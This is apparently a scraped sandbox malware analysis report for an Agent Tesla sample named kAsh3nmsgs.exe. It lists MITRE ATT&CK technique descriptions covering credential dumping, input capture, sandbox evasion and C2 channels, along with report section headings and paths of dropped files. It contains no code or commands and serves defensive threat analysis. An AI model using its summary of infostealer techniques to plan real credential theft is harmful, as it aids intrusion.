Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report kAsh3nmsgs.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HHhSyZN.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kAsh3nmsgs.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0upzlxk0.dyg.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1h2wj3xz.ba1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aecd2v3j.bg3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bbtkak1q.2pu.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3ntqzln.rx0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_usb0cxeq.2ig.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yeyeakff.ozg.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yn4pcl44.e04.ps1

C:\Users\user\AppData\Local\Temp\tmp4794.tmp

Windows Analysis Report
kAsh3nmsgs.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre